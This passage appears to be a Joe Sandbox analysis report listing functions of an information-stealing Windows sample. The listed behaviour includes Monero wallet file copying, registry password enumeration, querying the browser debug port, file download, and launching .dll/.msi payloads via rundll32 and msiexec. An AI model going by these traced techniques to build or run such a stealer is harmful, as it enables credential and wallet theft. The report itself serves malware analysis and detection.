Instruction ID: 55671caa9f17e02bf2b096751d64d2e50591885947f125be0164830bf8637258
Opcode Fuzzy Hash: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction Fuzzy Hash: 30E1A331A111049BCB14FBA1EDA6EED733EAF54304F40856EF50666091EF386B98CB5A

Function 00413080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00413415
ShellExecuteEx.SHELL32(0000003C), ref: 004135AD
ShellExecuteEx.SHELL32(0000003C), ref: 0041373A

Strings

.dll, xrefs: 00413435
C:\Windows\system32\rundll32.exe, xrefs: 00413582
"" , xrefs: 004132EA
/i ", xrefs: 00413634
<, xrefs: 004136E0
/passive, xrefs: 004136AB
.msi, xrefs: 004135E8
C:\Windows\system32\msiexec.exe, xrefs: 0041370F

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: cb3c2173f29a3beed631b9652b6a0f9e0f1953aca7e92393f2fccf7b5a2567ff
Instruction ID: 9b621e5b28039e8226f92625bb5802f9f58bb257d03f06fe20f9cf3dfd15236c
Opcode Fuzzy Hash: cb3c2173f29a3beed631b9652b6a0f9e0f1953aca7e92393f2fccf7b5a2567ff
Instruction Fuzzy Hash: 271241719011189ACB14FBA1DDA2FEDB739AF14314F00419FF10666196EF382B99CFA9

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02F71008,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 5cbd2ce6e892b1f0c83a61596e34b7d956a3390dad6b1351db3e395e1cef7939
Instruction ID: 741fdb0546306804f524ee4e08b2aea9f849864388c8e0516508d47f484bafde
Opcode Fuzzy Hash: 5cbd2ce6e892b1f0c83a61596e34b7d956a3390dad6b1351db3e395e1cef7939
Instruction Fuzzy Hash: 6B5151B1E501185BCB14EB60DD96BED733DAF54304F4045EEB20A62092EF346BD8CA6E

Function 00409A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00409AAB
InternetCloseHandle.WININET(00000000), ref: 00409AC7

Strings

"ws://, xrefs: 00409B84
http://localhost:9229/json, xrefs: 00409A9F
"webSocketDebuggerUrl":, xrefs: 00409B4B

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 170f34314a9a50de4dc5ee84ba35aa8bb061ee5a30c9fc0fe8f8ec154b18fd50
Instruction ID: 65c64d5f42ab2d525f7f9866baa54bb10b69c20dcdde589055b7f2aa2564e8b2
Opcode Fuzzy Hash: 170f34314a9a50de4dc5ee84ba35aa8bb061ee5a30c9fc0fe8f8ec154b18fd50
Instruction Fuzzy Hash: C0414B35A10258EBCB14EB90DC85FDD7774BB48340F1041AAF505BA191DBB8AEC0CF68

Function 00407630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407330: memset.MSVCRT ref: 00407374
Part of subcall function 00407330: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
Part of subcall function 00407330: RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
Part of subcall function 00407330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
Part of subcall function 00407330: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
Part of subcall function 00407330: HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

lstrcatA.KERNEL32(298B0020,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
lstrcatA.KERNEL32(298B0020,00000000,00000000), ref: 004076A8
lstrcatA.KERNEL32(298B0020, : ), ref: 004076BA
lstrcatA.KERNEL32(298B0020,00000000,00000000,00000000), ref: 004076EF
lstrcatA.KERNEL32(298B0020,00421934), ref: 00407700
lstrcatA.KERNEL32(298B0020,00000000,00000000,00000000), ref: 00407733
lstrcatA.KERNEL32(298B0020,00421938), ref: 0040774D
task.LIBCPMTD ref: 0040775B

Strings

: , xrefs: 004076AE

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction ID: 7dd5c8f6c25e89eb5421da9b581f9cff4d94f04832d352fdfe902425259828cd
Opcode Fuzzy Hash: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction Fuzzy Hash: B73164B1E05114DBDB04EBA0DD55DFE737AAF48305B50411EF102772E0DA38AA85CB96

Function 00407330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407374
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 004075B5

Strings

Password, xrefs: 00407461

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction ID: 394e2b55a83f95d9b644045a39dee7934e13af239b1baa97d0343fed5997f3db
Opcode Fuzzy Hash: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction Fuzzy Hash: 43611EB5D041689BDB24DB50CC41BDAB7B8BF54304F0081EAE649A6181EF746FC9CF95

Function 00417690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
HeapAlloc.KERNEL32(00000000), ref: 0041779A
wsprintfA.USER32 ref: 004177D0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

:, xrefs: 004176EC
C, xrefs: 004176DC
\, xrefs: 004176F0

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction ID: 56630df3f9a1121e358c86d43682af9e85f8bbcd47ea8763ba8f74f533c9f43c
Opcode Fuzzy Hash: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction Fuzzy Hash: 8541B6B1D05358DBDB10DF94CC45BDEBBB8AF48704F10009AF509A7280D7786B84CBA9

Function 00418290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02F755E8,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02F755E8,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
__aulldiv.LIBCMT ref: 00418302
__aulldiv.LIBCMT ref: 00418310
wsprintfA.USER32 ref: 0041833C

Strings

@, xrefs: 004182DD
%d MB, xrefs: 00418333

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction ID: 389ef6515a1f2427be64b00d9458de7be2b91b0079cd17c5d853587b1d371e56
Opcode Fuzzy Hash: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction Fuzzy Hash: 8B214AF1E44218ABDB00DFD5DD49FAEBBB9FB44B04F10450AF615BB280D77969008BA9

Function 004060F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DFB,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,02F6EBC8), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(00412DB1,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(00412DB1), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: 28317a5f4b32b5285a3637a607846846f53c0ba5e8d8391b34f33a6405c08cc5
Instruction ID: 62bae03b9e4771e022f65dfe0b744ca25a6527e7e90d195df508867c32b8ef77
Opcode Fuzzy Hash: 28317a5f4b32b5285a3637a607846846f53c0ba5e8d8391b34f33a6405c08cc5
Instruction Fuzzy Hash: CD5184B1A01218ABDB20EF90DC45FEE7779AB44305F0041AEF605B71C0DB786A95CF59

Function 00417350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0041735E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

OpenProcess.KERNEL32(001FFFFF,00000000,0041758D,004205C5), ref: 0041739C
memset.MSVCRT ref: 004173EA
??_V@YAXPAX@Z.MSVCRT(?), ref: 0041753E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041740C

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction ID: 233c3b8a05bec9dd0facad4523d46c30dcb6cb295cabbf2d5ddda9a1061df09f
Opcode Fuzzy Hash: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction Fuzzy Hash: 24515FB0D04218ABDB14EF91DC45BEEB7B5AF04305F1041AEE21567281EB786AC8CF59

Function 0040BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040BC6F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BC9D
lstrlenA.KERNEL32(00000000), ref: 0040BD75
lstrlenA.KERNEL32(00000000), ref: 0040BD89

Strings

